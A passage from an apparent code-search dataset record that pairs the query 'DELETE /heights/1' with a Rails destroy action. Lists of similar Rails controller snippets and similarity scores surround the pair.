"def update\n respond_to do |format|\n if @homily.update(homily_params)\n \n format.html { redirect_to @homily, notice: 'Homily was successfully updated.' }\n format.json { render :show, status: :ok, location: @homily }\n else\n format.html { render :edit }\n format.json { render json: @homily.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n request_body_Data= '{ \"widget\":\n {\n \"name\" : \"'+params[:name]+'\",\n \"description\" : \"'+params[:description]+'\"\n }}'\n response = RestClient::Request.new({\n method: :put,\n url: ENV['API_URL'] + '/widgets/' + params[:id],\n payload: request_body_Data,\n headers: { Authorization: session[:access_token], content_type: 'application/json'}\n }).execute do |response, request, result|\n case response.code\n when 400\n [ :error, JSON.parse(response) ]\n when 200\n [ :success, JSON.parse(response) ]\n json=JSON.parse(response)\n @widget= Widget.new do |widget|\n widget.id=json[\"data\"][\"widget\"][\"id\"]\n widget.name=json[\"data\"][\"widget\"][\"name\"]\n widget.description=json[\"data\"][\"widget\"][\"description\"]\n widget.kind=json[\"data\"][\"widget\"][\"kind\"]\n widget.userid=json[\"data\"][\"widget\"][\"user\"][\"id\"]\n widget.username=json[\"data\"][\"widget\"][\"user\"][\"name\"]\n widget.owner=json[\"data\"][\"widget\"][\"owner\"]\n end\n else\n fail \"Invalid response #{response.to_str} received.\"\n end\n end\n respond_to do |format|\n if @widget\n format.html { redirect_to @widget, notice: 'Widget was successfully updated.' }\n format.json { render :show, status: :ok, location: @widget }\n else\n format.html { render :edit }\n format.json { render json: @widget.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @herb = Herb.find_by_permalink(params[:id])\n\n respond_to do |format|\n if @herb.update_attributes(params[:herb])\n format.html { redirect_to @herb, notice: 'Herb was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @herb.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @hollywood.update(hollywood_params)\n format.html { redirect_to @hollywood, notice: 'Hollywood was successfully updated.' }\n format.json { render :show, status: :ok, location: @hollywood }\n else\n format.html { render :edit }\n format.json { render json: @hollywood.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @hollywood.update(hollywood_params)\n format.html { redirect_to @hollywood, notice: 'Hollywood was successfully updated.' }\n format.json { render :show, status: :ok, location: @hollywood }\n else\n format.html { render :edit }\n format.json { render json: @hollywood.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n animal = Animal.find(params[:id])\n animal.update(animal_params)\n if animal.valid?\n render json: animal\n else\n render json: animal.errors\n end\n end",
"def setSize(width, height)\n setWidth(width)\n setHeight(height)\n end",
"def update\n @harvesting = Harvesting.find(params[:id])\n\n respond_to do |format|\n if @harvesting.update_attributes(params[:harvesting])\n format.html { redirect_to @harvesting, notice: 'Harvesting was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @harvesting.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
[
"0.68623585",
"0.6494575",
"0.6396879",
"0.63206464",
"0.62699413",
"0.6145354",
"0.60840815",
"0.6052528",
"0.6035753",
"0.6024977",
"0.6024977",
"0.59800327",
"0.5978973",
"0.5818782",
"0.5803534",
"0.5776734",
"0.5741394",
"0.5738084",
"0.57372826",
"0.5650065",
"0.5623416",
"0.5623416",
"0.5623416",
"0.5597736",
"0.5579575",
"0.5558525",
"0.5516769",
"0.55121034",
"0.55085063",
"0.5493045",
"0.5460779",
"0.5459639",
"0.54516006",
"0.5434986",
"0.5430061",
"0.54295653",
"0.5422688",
"0.53975064",
"0.5379483",
"0.5366454",
"0.53562504",
"0.5354711",
"0.5342204",
"0.5340286",
"0.53268254",
"0.5319669",
"0.529332",
"0.5287629",
"0.5287629",
"0.52820617",
"0.52810836",
"0.52772313",
"0.5271015",
"0.52674276",
"0.52654094",
"0.5262277",
"0.52604014",
"0.5256492",
"0.52564055",
"0.524648",
"0.52462953",
"0.52392656",
"0.52035975",
"0.520154",
"0.51978093",
"0.51978093",
"0.5194064",
"0.5193802",
"0.51902527",
"0.5190245",
"0.5190245",
"0.5180624",
"0.51782817",
"0.51770246",
"0.5170959",
"0.5169848",
"0.51647174",
"0.5155787",
"0.5155739",
"0.51532465",
"0.5140469",
"0.51385224",
"0.51385146",
"0.5135847",
"0.512988",
"0.51263565",
"0.51149786",
"0.5113846",
"0.51097256",
"0.51061106",
"0.5105763",
"0.5100125",
"0.5098198",
"0.5093235",
"0.5088272",
"0.5083642",
"0.5083642",
"0.5081001",
"0.5078633",
"0.5075504"
] |
0.72002494
|
0
|
DELETE /heights/1 DELETE /heights/1.json
|
def destroy
@height = Height.find(params[:id])
@height.destroy
respond_to do |format|
format.html { redirect_to admin_heights_url }
format.json { head :ok }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def destroy\n @attack_height.destroy\n respond_to do |format|\n format.html { redirect_to attack_heights_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @hoge = Hoge.find(params[:id])\n @hoge.destroy\n\n respond_to do |format|\n format.html { redirect_to hoges_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @thickness.destroy\n respond_to do |format|\n format.html { redirect_to thicknesses_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @bath.destroy\n respond_to do |format|\n format.html { redirect_to baths_url, notice: 'Bath was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @bow.destroy\n respond_to do |format|\n format.html { redirect_to bows_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @size.destroy\n\n render json: @size, status: :ok#, location: @size\n end",
"def destroy\n @bloom = Bloom.find(params[:id])\n @bloom.destroy\n\n respond_to do |format|\n format.html { redirect_to blooms_url }\n format.json { head :no_content }\n end\n end",
"def test_del\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n\n id = last_response.body\n\n delete \"/traces/#{id}\"\n assert last_response.ok?\n\n get \"/traces/#{id}\"\n\n contents = JSON.parse last_response.body\n assert_kind_of(Hash, contents, 'Response contents is not a hash')\n assert contents.key? 'description'\n assert(!last_response.ok?)\n end",
"def delete(url, headers = {})\n http :delete, \"#{url}.json\", headers\n end",
"def destroy\n @bemap = Bemap.find(params[:id])\n @bemap.destroy\n\n respond_to do |format|\n format.html { redirect_to bemaps_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @bounty.destroy\n respond_to do |format|\n format.html { redirect_to bounties_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @hive = Hive.find(params[:id])\n @hive.destroy\n\n respond_to do |format|\n format.html { redirect_to hives_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @hospital_bedsize.destroy\n respond_to do |format|\n format.html { redirect_to hospital_bedsizes_url, notice: 'Hospital bedsize was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @hood.destroy\n respond_to do |format|\n format.html { redirect_to hoods_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @manage_glow.destroy\n respond_to do |format|\n format.html { redirect_to manage_glows_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @size.destroy\n respond_to do |format|\n format.html { redirect_to sizes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @lifespan = Lifespan.find(params[:id])\n @lifespan.destroy\n\n respond_to do |format|\n format.html { redirect_to lifespans_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @test_weight = TestWeight.find(params[:id])\n @test_weight.destroy\n\n respond_to do |format|\n format.html { redirect_to test_weights_url }\n format.json { head :no_content }\n end\n end",
"def delete\n render json: Post.delete(params[\"id\"])\n end",
"def destroy\n @brave_burst.destroy\n respond_to do |format|\n format.html { redirect_to brave_bursts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @human = Human.find(params[:id])\n @human.destroy\n\n respond_to do |format|\n format.html { redirect_to humen_url }\n format.json { head :no_content }\n end\n end",
"def delete\n client.delete(\"/#{id}\")\n end",
"def destroy\n @hyd.destroy\n respond_to do |format|\n format.html { redirect_to hyds_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @Growth = Growth.find(params[:id])\n begin\n if(@Growth.destroy)\n render :json =>'Successfully'\n end\n rescue => e\n render :json => \"#{e}\", :status => :unprocessable_entity\n end\n end",
"def destroy\n @gauge = Gauge.find(params[:id])\n @gauge.destroy\n\n respond_to do |format|\n format.html { redirect_to gauges_url }\n format.json { head :no_content }\n end\n end",
"def delete_json(path)\n url = [base_url, path].join\n resp = HTTParty.delete(url, headers: standard_headers)\n parse_json(url, resp)\n end",
"def destroy\n @herald.destroy\n respond_to do |format|\n format.html { redirect_to heralds_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @house = House.find(params[:id])\n @house.destroy\n\n respond_to do |format|\n format.html { redirect_to gigs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @weight_history.destroy\n respond_to do |format|\n format.html { redirect_to weight_histories_url, notice: \"Weight history was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @weight = Weight.find(params[:id])\n @weight.destroy\n\n respond_to do |format|\n format.html { redirect_to weights_url }\n format.json { head :no_content }\n end\n end",
"def delete\n render json: Item.delete(params[\"id\"])\n end",
"def destroy\n @three.destroy\n respond_to do |format|\n format.html { redirect_to threes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @enzyme = Enzyme.find(params[:id])\n @enzyme.destroy\n\n respond_to do |format|\n format.html { redirect_to enzymes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @heat_type = HeatType.find(params[:id])\n @heat_type.destroy\n\n respond_to do |format|\n format.html { redirect_to heat_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n animal = Animal.find(params[:id])\n animal.destroy\n head 204\n end",
"def destroy\n @hotele = Hotele.find(params[:id])\n @hotele.destroy\n\n respond_to do |format|\n format.html { redirect_to hoteles_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @badge = Badge.find(params[:id])\n @badge.destroy\n\n respond_to do |format|\n format.html { redirect_to badges_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @bunny.destroy\n respond_to do |format|\n format.html { redirect_to bunnies_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @boat_width = BoatWidth.find(params[:id])\n @boat_width.destroy\n\n respond_to do |format|\n format.html { redirect_to(boat_widths_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @human = Human.find(params[:id])\n @human.destroy\n\n respond_to do |format|\n format.html { redirect_to humans_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @baton = Baton.find(params[:id])\n @baton.destroy\n\n respond_to do |format|\n format.html { redirect_to batons_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @herb = Herb.find_by_permalink(params[:id])\n @herb.destroy\n\n respond_to do |format|\n format.html { redirect_to herbs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @house = House.find(params[:id])\n @house.destroy\n\n respond_to do |format|\n format.html { redirect_to houses_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @house = House.find(params[:id])\n @house.destroy\n\n respond_to do |format|\n format.html { redirect_to houses_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @historial = Historial.find(params[:id])\n @historial.destroy\n\n respond_to do |format|\n format.html { redirect_to historials_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @health_level.destroy\n\n respond_to do |format|\n format.html { redirect_to health_levels_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @brag = Brag.find(params[:id])\n @brag.destroy\n\n respond_to do |format|\n format.html { redirect_to brags_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @hollywood.destroy\n respond_to do |format|\n format.html { redirect_to hollywoods_url, notice: 'Hollywood was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @hollywood.destroy\n respond_to do |format|\n format.html { redirect_to hollywoods_url, notice: 'Hollywood was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @bathroom.destroy\n respond_to do |format|\n format.html { redirect_to bathrooms_url, notice: 'Bathroom was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @bathroom.destroy\n respond_to do |format|\n format.html { redirect_to bathrooms_url, notice: 'Bathroom was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @have = Have.find(params[:id])\n @have.destroy\n\n respond_to do |format|\n format.html { redirect_to haves_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @barrack = Barrack.find(params[:id])\n @barrack.destroy\n\n respond_to do |format|\n format.html { redirect_to barracks_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @bodily_output.destroy\n respond_to do |format|\n format.html { redirect_to bodily_outputs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @hill.destroy\n respond_to do |format|\n format.html { redirect_to hills_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @weight.destroy\n respond_to do |format|\n format.html { redirect_to rabbit_weights_path(@rabbit), notice: \"Peso cancellato con successo\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @down_size = DownSize.find(params[:id])\n @down_size.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_down_sizes_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @width = Width.find(params[:id])\n @width.destroy\n\n respond_to do |format|\n format.html { redirect_to widths_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @goody = Goody.find(params[:id])\n @goody.destroy\n\n respond_to do |format|\n format.html { redirect_to goodies_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @homy.destroy\n respond_to do |format|\n format.html { redirect_to homies_url, notice: 'Homy was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @body_style_size = BodyStyleSize.find(params[:id])\n @body_style_size.destroy\n\n respond_to do |format|\n format.html { redirect_to body_style_sizes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @bl = Bl.find(params[:id])\n @bl.destroy\n\n respond_to do |format|\n format.html { redirect_to bls_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @broad = Broad.find(params[:id])\n @broad.destroy\n\n respond_to do |format|\n format.html { redirect_to broads_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @body_measurement.destroy\n respond_to do |format|\n format.html { redirect_to body_measurements_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @homily.destroy\n respond_to do |format|\n format.html { redirect_to homilies_url, notice: 'Homily was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @hal = Hal.find(params[:id])\n @hal.destroy\n\n respond_to do |format|\n format.html { redirect_to \"/hals/view_mine\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item_history.destroy\n respond_to do |format|\n format.html { redirect_to bmet_item_histories_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @bustour.destroy\n respond_to do |format|\n format.html { redirect_to bustours_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @thirtyeight.destroy\n respond_to do |format|\n format.html { redirect_to thirtyeights_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @male_shot_put_head.destroy\n respond_to do |format|\n format.html { redirect_to male_shot_put_heads_url, notice: 'Male shot put head was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @hamster.destroy\n respond_to do |format|\n format.html { redirect_to hamsters_url, notice: 'Hamster was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @zombie = Zombie.find(params[:id])\n @zombie.destroy\n\n respond_to do |format|\n format.html { redirect_to zombies_url }\n format.json { head :ok }\n end\n end",
"def delete\n render json: Alien.delete(params[\"id\"])\n end",
"def destroy\n @photo = Photo.find(params[:id])\n @hastags = Hastag.where(:photo_id => @photo.id)\n @hastags.destroy_all\n @photo.destroy\n\n respond_to do |format|\n format.html { redirect_to '/home', notice: 'You have deleted the picture' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @shrink.destroy\n respond_to do |format|\n format.html { redirect_to shrinks_url, notice: 'Shrink was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n record = Asset.find(params[:id])\n record.destroy\n\n respond_to do |format| \n format.json { head :no_content }\n end\n end",
"def destroy\n @lob.destroy\n respond_to do |format|\n format.html { redirect_to root_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @dbh_measurement.destroy\n respond_to do |format|\n format.html { redirect_to dbh_measurements_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @asthenium.destroy\n respond_to do |format|\n format.html { redirect_to asthenia_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @roadblock.destroy\n respond_to do |format|\n format.html { redirect_to \"/roadblocks-dash\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @json.destroy\n respond_to do |format|\n format.html { redirect_to jsons_url, notice: 'Json was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @json.destroy\n respond_to do |format|\n format.html { redirect_to jsons_url, notice: 'Json was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @humanidades3 = Humanidades3.find(params[:id])\n @humanidades3.destroy\n\n respond_to do |format|\n format.html { redirect_to humanidades3s_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @water_history.destroy\n respond_to do |format|\n format.html { redirect_to water_histories_url, notice: 'Water history was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @bollywood.destroy\n respond_to do |format|\n format.html { redirect_to bollywoods_url, notice: 'Bollywood was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @bollywood.destroy\n respond_to do |format|\n format.html { redirect_to bollywoods_url, notice: 'Bollywood was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @house_hunter.destroy\n respond_to do |format|\n format.html { redirect_to house_hunters_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @crossbow.destroy\n respond_to do |format|\n format.html { redirect_to crossbows_url, notice: 'Crossbow was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete(id)\n request(:delete, \"/recipes/#{id}.json\")\n end",
"def destroy\n @bread.destroy\n respond_to do |format|\n format.html { redirect_to breads_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @bg_measurement.destroy\n respond_to do |format|\n format.html { redirect_to bg_measurements_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @bg_measurement.destroy\n respond_to do |format|\n format.html { redirect_to bg_measurements_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @block = Block.find(params[:id])\n @block.destroy\n\n respond_to do |format|\n format.html { redirect_to blocks_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @hd.destroy\n respond_to do |format|\n format.html { redirect_to hds_url, notice: 'Hd was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @hot_water_distribution = HotWaterDistribution.find(params[:id])\n @hot_water_distribution.destroy\n\n respond_to do |format|\n format.html { redirect_to hot_water_distributions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @htc.destroy\n respond_to do |format|\n format.html { redirect_to htcs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @bowl = Bowl.find(params[:id])\n @bowl.destroy\n\n respond_to do |format|\n format.html { redirect_to bowls_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @baz72.destroy\n respond_to do |format|\n format.html { redirect_to baz72s_url, notice: \"Baz72 was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @single_housing.destroy\n respond_to do |format|\n format.html { redirect_to single_housings_url, notice: 'Single housing was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @weight.destroy\n respond_to do |format|\n format.html { redirect_to weights_url, notice: 'Weight was successfully destroyed.' }\n format.json { head :no_content }\n end\n end"
] |
[
"0.6963586",
"0.65752274",
"0.6524143",
"0.6413734",
"0.6382759",
"0.63695645",
"0.6369511",
"0.62958413",
"0.6287775",
"0.6242096",
"0.62301177",
"0.6222153",
"0.621128",
"0.6185798",
"0.6182409",
"0.6178444",
"0.6176936",
"0.6176364",
"0.6171362",
"0.61710143",
"0.6170305",
"0.6168889",
"0.6158618",
"0.6154931",
"0.6134844",
"0.61316293",
"0.61267626",
"0.61209226",
"0.611866",
"0.6113834",
"0.61036205",
"0.6099463",
"0.60973316",
"0.60861206",
"0.6085586",
"0.6079573",
"0.6078511",
"0.607587",
"0.60733706",
"0.6069986",
"0.6063736",
"0.60599196",
"0.60592717",
"0.60592717",
"0.60584337",
"0.60564965",
"0.60561585",
"0.6055857",
"0.6055857",
"0.60550505",
"0.60550505",
"0.6054448",
"0.6053469",
"0.6050507",
"0.6045239",
"0.6043842",
"0.6042765",
"0.6041108",
"0.6040403",
"0.60393775",
"0.6039358",
"0.60305125",
"0.603013",
"0.60269815",
"0.60245943",
"0.6018704",
"0.6018616",
"0.6009287",
"0.60076207",
"0.6005931",
"0.60046256",
"0.600277",
"0.59984636",
"0.59973127",
"0.59941876",
"0.5989662",
"0.59886545",
"0.59885657",
"0.5984632",
"0.598312",
"0.5982231",
"0.5982231",
"0.5981618",
"0.5981607",
"0.59792954",
"0.59792954",
"0.59756726",
"0.59755075",
"0.5973451",
"0.5972618",
"0.59715044",
"0.59715044",
"0.59703004",
"0.59671855",
"0.5966775",
"0.59640354",
"0.5955734",
"0.5954213",
"0.5951255",
"0.59510076"
] |
0.801813
|
0
|
not needed here, since this is only used in the views InlineForms::SPECIAL_COLUMN_TYPES[:info]=:string this will NOT stay in inline_forms, it belongs in an app.
|
def chicas_photo_list_show(object, attribute)
# the attribute should be like members_photos
# then it will look for object.members.photos
# I know it's crappy.
members, photos = attribute.to_s.split('_')
thumbnail_list = {}
object.send(members).each do |member|
member.send(photos).each do |photo|
thumbnail_list[photo.rating] ||= []
thumbnail_list[photo.rating] << photo.image.url(:thumb)
end
end
out = ''
out = "<div class='row #{cycle('odd', 'even')}'>no photos</div>" if thumbnail_list.empty?
unless thumbnail_list.empty?
out << "<div class='row #{cycle('odd', 'even')}'>"
thumbnail_list.sort.reverse.each do |rating, thumbnails|
thumbnails.each do |thumbnail|
out << image_tag(thumbnail)
end
end
out << '</div>'
end
out.html_safe
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def _field_types\n special_attribute('@fieldTypes'.freeze)\n end",
"def extra_field_type(index)\r\n t = extra_type(index).to_s\r\n case t\r\n when 'password'\r\n 'password'\r\n when 'integer', 'float'\r\n 'number'\r\n when 'boolean'\r\n 'checkbox'\r\n else\r\n if t.downcase.index('in:')\r\n 'select'\r\n else\r\n 'text'\r\n end\r\n end\r\n end",
"def type_literal_generic_string(column)\n if column[:text]\n :text\n elsif column[:fixed]\n \"char(#{column[:size]||default_string_column_size})\"\n elsif column[:text] == false || column[:size]\n \"varchar(#{column[:size]||default_string_column_size})\"\n else\n :text\n end\n end",
"def database_column_type\n :string\n end",
"def assemble_collection_specific\n # TODO custom field text_type_k\n end",
"def type_literal_specific(column)\n type = column[:type]\n type = \"double precision\" if type.to_s == 'double'\n column[:size] ||= default_string_column_size if type.to_s == 'varchar'\n elements = column[:size] || column[:elements]\n \"#{type}#{literal(Array(elements)) if elements}#{' UNSIGNED' if column[:unsigned]}\"\n end",
"def scaffold_table_column_type(c)\n column = self.properties[c]\n if column then\n if column.type == DataMapper::Property::Text\n :text\n else\n column.class.to_s.split(\"::\").last.downcase.intern\n end\n else\n nil\n end\n end",
"def before_validation\n\t\tself.class.columns.each do |c|\n\t\t\tif self[c.name] and [:string, :text].include?(c.class)\n\t\t\t\tself[c.name] = RailsSanitize.full_sanitizer.sanitize(self[c.name]) \n\t\t\tend\n\t\tend\t\t\n\tend",
"def prepare_column_options(column)\n super.tap do |spec|\n spec[:encoding] = \"'#{column.sql_type_metadata.encoding}'\" if column.sql_type_metadata.encoding.present?\n end\n end",
"def ensure_proper_type\n unless self.class.descends_from_active_record?\n write_attribute(self.class.inheritance_column, Inflector.demodulize(self.class.name))\n end\n end",
"def type(column); self[column]['type']; end",
"def form_field\n case self.column_type\n when \"text\"\n %{<%= :#{self.model_name}.text_area :#{self.column_name}, :label => true %>}\n when \"date\"\n %{<%= :#{self.model_name}.date_select :#{self.column_name}, :label => true %>}\n when \"date_time\"\n %{<%= :#{self.model_name}.date_time_select :#{self.column_name}, :label => true %>}\n else\n case self.column_name.downcase\n when /password/\n %{<%= :#{self.model_name}.password_field :#{self.column_name}, :label => true %>}\n else\n %{<%= :#{self.model_name}.text_field :#{self.column_name}, :label => true %>}\n end\n end\n end",
"def finalize_datatypes_for_csv\n csv_column_datatypes.map { |column_name, possible_datatypes|\n #If there is string type even atleast 1 there is no other option but to set the datatype to string => varchar\n if possible_datatypes.has_key?(:string)\n csv_column_datatypes[column_name] = :string\n else\n #set the max occurance datatype as the datatype of column\n csv_column_datatypes[column_name] = possible_datatypes.key(possible_datatypes.values.max)\n end\n }\n end",
"def field_types_for name\n {\n text: text_fields.include?(name),\n html: html_fields.include?(name),\n atom: atom_fields.include?(name),\n datetime: datetime_fields.include?(name),\n number: number_fields.include?(name),\n geo: geo_fields.include?(name)\n }.delete_if { |_k, v| !v }.keys\n end",
"def attr_type_to_editor_map\n {\n :integer => :numberfield,\n :boolean => :checkbox,\n :date => :datefield,\n :datetime => :datetimefield,\n :text => :textarea,\n :string => :textfield\n }\n end",
"def inheritance_column\n \"type\"\n end",
"def types\n FIELD_TYPES\n end",
"def search_text_fields\n #self.content_columns.select {|c| [:string,:text].include?(c.type) }.map {|c| c.name }\n \n end",
"def extended_types\n EXTENDED_DATABASE_TYPES\n end",
"def default_input_type(attribute_name, column, options); end",
"def type_str(c)\n ret = c.type.to_s\n ret << \", primary\" if c.primary\n ret << \", default=#{truncate_default(c.default)}\" if c.default\n ret << \", not null\" unless c.null\n ret << \", limit=#{c.limit}\" if c.limit && (c.limit != 255 && c.type != :string)\n ret\n end",
"def dynamic_fields\n default_columns.collect do |c|\n {\n :name => c[:name],\n :type => c[:attr_type] == :json ? :text : c[:attr_type], # store :json columns as :text\n :default => c[:default_value]\n }\n end\n end",
"def type_information(opts)\n opts = check_params(opts,[:field_names])\n super(opts)\n end",
"def set_data_type_and_array\n column_schema = SearchFacet.get_table_schema(column_name: self.big_query_id_column)\n detected_type = column_schema[:data_type]\n self.is_array_based = detected_type.include?('ARRAY')\n item_type = BQ_DATA_TYPES.detect {|d| detected_type.match(d).present?}\n self.data_type = BQ_TO_FACET_TYPES[item_type]\n end",
"def scaffold_field_type_list\n list = \"\"\n @fields.each {|field| list << field.scaffold_instruction}\n list\n end",
"def remote_query_column_types\n raise \"You must override `remote_query_column_types' in your class\"\n end",
"def schema_column_type(db_type)\n if convert_smallint_to_bool && db_type =~ /smallint/i \n :boolean\n else\n super\n end\n end",
"def dbd_types (model,model_attributes)\n #hard coded mapping look mapping table\n mapping = Hash[ \"binary\"=>\"base64Binary\",\"boolean\"=>\"boolean\",\"date\"=>\"date\",\"datetime\"=>\"dateTime\",\"decimal\"=>\"decimal\",\"float\"=>\"float\",\"integer\"=>\"integer\",\"string\"=>\"string\",\"text\"=>\"string\",\"time\"=>\"time\",\"timestamp\"=>\"dateTime\",]\n dtypes = Hash.new\n model.columns_hash.each_key do |m|\n #make xsd datatye\n dtypes[m.to_s] =\"xsd:#{mapping[model.columns_hash[m].type.to_s] }\"\n end\n #replace mapping\n model_attributes.each do |k,v|\n dtypes[k.to_s]=dtypes[v.to_s]\n end\n dtypes\n end",
"def set_data_type_and_array\n column_schema = SearchFacet.get_table_schema(column_name: big_query_id_column)\n detected_type = column_schema[:data_type]\n self.is_array_based = detected_type.include?('ARRAY')\n item_type = BQ_DATA_TYPES.detect { |d| detected_type.match(d).present? }\n self.data_type = BQ_TO_FACET_TYPES[item_type]\n end",
"def get_column_string(name, type)\n case type\n when 'primary_key' then \"primary_key :#{name}\"\n when 'integer' then \"Integer :#{name}\"\n when 'string' then \"String :#{name}\"\n when 'text' then \"String :#{name}, text: true\"\n when 'boolean' then \"TrueClass :#{name}\"\n when 'float' then \"Float :#{name}\"\n when 'date' then \"Date :#{name}\"\n when 'time' then \"Time :#{name}\"\n when 'references' then \"foreign_key :#{name.foreign_key}, :#{name.tableize}\"\n when 'references_singleton' then \"foreign_key :#{name.foreign_key}, :#{name.underscore}\"\n end\n end",
"def column(name, type)\n @fields.merge!(name => type.to_s)\n end",
"def column_type(type)\n case type\n when :integer then Integer\n when :float, :decimal then Float\n when :string, :text, :uuid then String\n when :datetime, :timestamp, :time then DateTime\n when :date then Date\n when :boolean then Virtus::Attribute::Boolean # Boolean is not a standard Ruby class\n else\n raise \"Could not match column type '#{type}' for #{model_name}\"\n end\n end",
"def createJsColumnModel\n @columns = ActiveRecord::Base.connection.select_all 'show columns from `'+@table_name+'`'\n @columns.each do |column_info|\n case column_info['Type']\n #string\n when /varchar/,/char/\n type = column_info['Type']\n len = type[type.index('(')+1...type.index(')')].to_i\n column_info['Type'] = 'string'\n \n if len < 100\n column_info['editor'] = {:xtype => 'textfield'} \n else\n column_info['editor'] = {\n :xtype => 'textarea',\n :minHeight => 100\n } \n end\n #int\n when /int/,/binary/,/decimal/,/numeric/,/bit/,/timestamp/\n column_info['Type'] = 'int'\n column_info['editor'] = {\n :xtype => 'numberfield'\n }\n #real\n when /float/,/double/\n column_info['Type'] = 'float'\n column_info['editor'] = {:xtype => 'numberfield'}\n #enumeric\n when /enum/,/set/\n values = column_info['Type']\n values = values[values.index('(')+1...values.index(')')].split(',').map do |v|\n {:p => (v[0] == \"'\" && v[v.length-1] == \"'\") ? v[1...-1] : v}\n end\n \n column_info['editor'] = {\n :xtype => 'combo',\n :triggerAction => 'all',\n :forceSelection => true,\n :store => {\n :xtype => 